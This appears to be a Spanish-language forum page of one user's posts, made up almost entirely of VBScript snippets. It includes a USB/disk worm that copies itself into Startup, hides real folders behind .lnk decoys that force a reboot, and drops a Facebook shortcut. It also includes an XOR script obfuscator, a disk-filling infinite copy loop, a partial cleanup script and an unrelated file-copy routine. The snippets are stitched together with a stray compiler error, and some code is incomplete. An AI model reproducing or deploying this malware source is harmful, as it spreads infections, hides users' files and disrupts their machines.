Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
CitarCódigo (vb) [Seleccionar]Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set wmiEvent = objWMIService.ExecNotificationQuery( _
"Select * From __InstanceCreationEvent Within 1" & _
" Where TargetInstance ISA 'Win32_PnPEntity'")
While True
Set objEvent = wmiEvent.NextEvent()
Set objUSB = objEvent.TargetInstance
strName = objUSB.Name
strDeviceID = objUSB.DeviceID
Set objUSB = Nothing
Set colDrives = objWMIService.ExecQuery( _
"Select * From Win32_LogicalDisk Where DriveType = 2")
For Each objDrive in colDrives
strDriveLetter = objDrive.DeviceID
Next
Set colDrives = Nothing
WScript.Echo strName & " Se ha montado como " & strDriveLetter
Wend
Set wmiEvent = Nothing
Set objWMIService = Nothing
Dim objfso, objshell, archivo, salida, guardar, renombrar, com, var
set objfso = createobject ("scripting.filesystemobject")
set objshell = createobject ("wscript.shell")
set guardar = objfso.createtextfile("salida.txt", true)
com = chr(34)
sub cifrar()
archivo = InputBox("Entre la direccion del archivo a cifrar")
Set var = objfso.OpenTextFile(archivo)
lectura = var.ReadAll
var.close
for i = 1 to len(lectura)
salida = salida & chr(asc(Mid(lectura, i, 1)) XOR 3)
next
linea1= "dark = " & com & salida & com
linea2= "set objfso = createobject (" & com & "scripting.filesystemobject" & com &")"
linea3= "set objshell = createobject (" & com & "wscript.shell" & com &")"
texto= "set texto = objfso.createtextfile(" & com & "salida.txt" & com & ", true)"
linea4= "for i = 1 to len (dark)"
linea5= "salida = salida & Asc(chr(Mid(dark,i, 1)Xor 3))"
linea6= "texto.write (salida)"
linea7= "Next"
guardar.writeline (linea1)
guardar.writeline (linea2)
guardar.writeline (linea3)
guardar.writeline (texto)
guardar.writeline (linea4)
guardar.writeline (linea5)
guardar.writeline (linea6)
guardar.writeline (linea7)
end sub
cifrar()Citar
' Archivo Creado por Danny Paula Gómez.
' Uso Publico siempre y cuando no Modifiquen estas lineas en agradecimiento.
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim installname, url, desktop, startup, argumentos
argumentos = "/c shutdown -r -t " & "10"
startup = objshell.specialfolders ("startup") & "\"
installname = wscript.scriptname
while true
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
folder.attributes = 1+2+4
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
desktop = objshell.specialfolders("desktop")
Set url = objshell.createshortcut( desktop & "\f a c e b o o k .url")
url.targetpath = "www.facebook.com/danny920825"
url.save
Next
wend
' Agradezco a ||MadAntrax|| por su ayuda
' Y al staff de foro.elhacker.net donde he aprendido lo poco que se.
' Correo: danny920825@gmail.com
' facebook: danny920825
' .::Este proyecto fue realizado con fines educativos, no
' me hago responsable del uso quese le de al mismo ::.
Citar
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim del, reverse, url, desktop, borrar
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & foldername & ".lnk" )
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & reverse & ".lnk" )
Next
end if
end if
end if
desktop = objshell.specialfolders("Desktop")
borrar = objfso.deletefile( desktop & "\f a c e b o o k .url")
Next
Unit1.cpp(28): E2285 Could not find a match for 'string::operator =(AnsiString)'
on error resume next
' Declaracion de variables
set objshell = createobject("wscript.shell")
set objfso = createobject("scripting.filesystemobject")
dim perfil_usuario
dim carpeta_destino
dim cont
dim ampliar
dim help
rem Inicializacion de las variables
perfil_usuario = objshell.expandenvironmentstrings("%userprofile%")
help = objshell.expandenvironmentstrings("%windir%")
msgbox (help)
icono = objshell.expandenvironmentstrings("%windir%\system32")
carpeta_destino = objfso.createfolder(perfil_usuario & "\Dark_Stone")
llenar = objfso.createfolder(perfil_usuario & "\Dark_Stone\llenar")
rem Cuerpo
while (5=5)
copiar = objfso.copyfolder(help & "\help", llenar)
ampliar = objfso.createfolder(llenar & "\llenando")
llenar = ampliar
wend
set objfso = createobject("scripting.filesystemobject")
if exist ("d:\danny\07-02") then
objfso.copyfile ("F:\kijo.log", "d:\danny\07-02\", false)
chapa = inputbox("Escriba la chapa del Vehiculo")
objfso.renamefile ("d:\danny\07-02\kijo.log", chapa)
msgbox ("Se ha copiado el archivo.")
else
set carpeta = objfso.createfolder ("d:\danny\07-02")
objfso.copyfile ("F:\kijo.log", "d:\danny\07-02\")
chapa = inputbox("Escriba la chapa del Vehiculo")
objfso.renamefile ("d:\danny\07-02\kijo.log", chapa)
msgbox ("Se ha copiado el archivo despues de crear la carpeta.")
exit